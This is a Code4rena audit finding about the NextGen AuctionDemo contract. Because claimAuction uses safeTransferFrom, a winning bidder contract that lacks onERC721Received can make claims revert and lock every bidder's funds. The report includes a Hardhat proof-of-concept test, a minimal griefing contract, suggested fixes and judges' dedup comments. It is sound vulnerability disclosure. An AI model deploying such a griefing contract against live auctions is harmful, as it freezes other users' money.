Naive ERC721 receiver implementation can lead to a permanent locking of all bidder's capital

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

A naive ERC721 receiver implementation may lead to a permanent locking of all bidder capital.

This can happen if the winning bidder contract fails to implement onERC721Received correctly.

The issue manifests in auctionDemo::claimAuction which returns bidder's capital based on the successful execution of IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);.

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Proof of Concept

Add the following file to hardhat/test.

const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = require("chai");
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js");

let signers;
let contracts;
let hhAuction;
let hhNaiveReciever;

describe("NextGen Tests", function () {
  before(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));
    const auctionDemo = await ethers.getContractFactory("auctionDemo");

    hhAuction = await auctionDemo.deploy(
      await contracts.hhMinter.getAddress(),
      await contracts.hhCore.getAddress(),
      await contracts.hhAdmin.getAddress(),
    );

    const naiveReciever = await ethers.getContractFactory("NaiveReciever");

    hhNaiveReciever = await naiveReciever.deploy(await hhAuction.getAddress());
  });

  context("Auction", () => {
    it("Naive Reciever Bricks Auction", async function () {
      const bidder = signers.addr2;
      
      console.log("bidder initial balance: ", await bidder.provider.getBalance(bidder.address))
      
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      );

      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true,
      );

      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      );

      await contracts.hhCore.addMinterContract(contracts.hhMinter.getAddress());

      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B", // delAddress
      );

      const blockNumber = await signers.addr1.provider.getBlockNumber();
      const block = await signers.addr1.provider.getBlock(blockNumber);
      const blockTimestamp = block.timestamp;
      const timeFromNow = 1000000; // 1000 seconds

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        blockTimestamp, // _allowlistStartTime
        blockTimestamp + timeFromNow, // _allowlistEndTime
        blockTimestamp + timeFromNow, // _publicStartTime
        blockTimestamp + 2 * timeFromNow, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      );

      await contracts.hhMinter.mintAndAuction(
        signers.addr1.address, // recipient
        "", // tokenData
        0, // salt
        1, // collectionId
        blockTimestamp + timeFromNow, // auctionEndTime
      );

      const AuctionTokenID =
        Number(
          (await contracts.hhCore.viewTokensIndexMin(1)) +
            (await contracts.hhCore.viewCirSupply(1)),
        ) - 1;

      const endTimeTimestampResult =
        await contracts.hhMinter.getAuctionEndTime(AuctionTokenID);


      await hhAuction
        .connect(bidder)
        .participateToAuction(AuctionTokenID, { value: BigInt(2e18) });

     
      // winning bid
      await hhNaiveReciever.connect(signers.addr3).participate(AuctionTokenID, {
        value: BigInt(3e18)  ,
      });

      // fast forward to end-time:
      const timeDifference =
        Number(endTimeTimestampResult) - Number(blockTimestamp);
      await ethers.provider.send("evm_increaseTime", [timeDifference]);
      await ethers.provider.send("evm_mine");

      //transfer approval 
      await contracts.hhCore.connect(signers.addr1).approve(await hhAuction.getAddress(), AuctionTokenID);

      await expect(
        hhNaiveReciever.connect(signers.addr3).claim(AuctionTokenID),
      ).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer");

      console.log("bidder final balance: ", await bidder.provider.getBalance(bidder.address))
    });
  });
});

And the following file within hardhat/smart-contracts:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "../AuctionDemo.sol";

contract NaiveReciever {
    auctionDemo auction;

    constructor(address _auction) public {
        auction = auctionDemo(_auction);
    }

    function participate(uint256 _tokenid) public payable {
        auction.participateToAuction{value: msg.value}(_tokenid);
    }

    function claim(uint256 _tokenid) public {
        auction.claimAuction(_tokenid);
    }
}

Impact

All funds from bidders become irretrievably locked within the AuctionDemo contract.

Tools Used

Manual Review, Hardhat

Recommended Mitigation Steps

A simple mitigation step is to use transferFrom rather than safeTransferFrom in claimAuction to avoid the potential revert.

However, to avoid winning bidder disapointment, alternatively consider expanding functionality with "pull over push" methods for bid reclaimation. For example, by including a seperate function such as reclaimBidderFunds.

Assessed type

ERC721

[c4-pre-sort]

141345 marked the issue as duplicate of #843

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #739

[c4-judge]

alex-ppg marked the issue as partial-50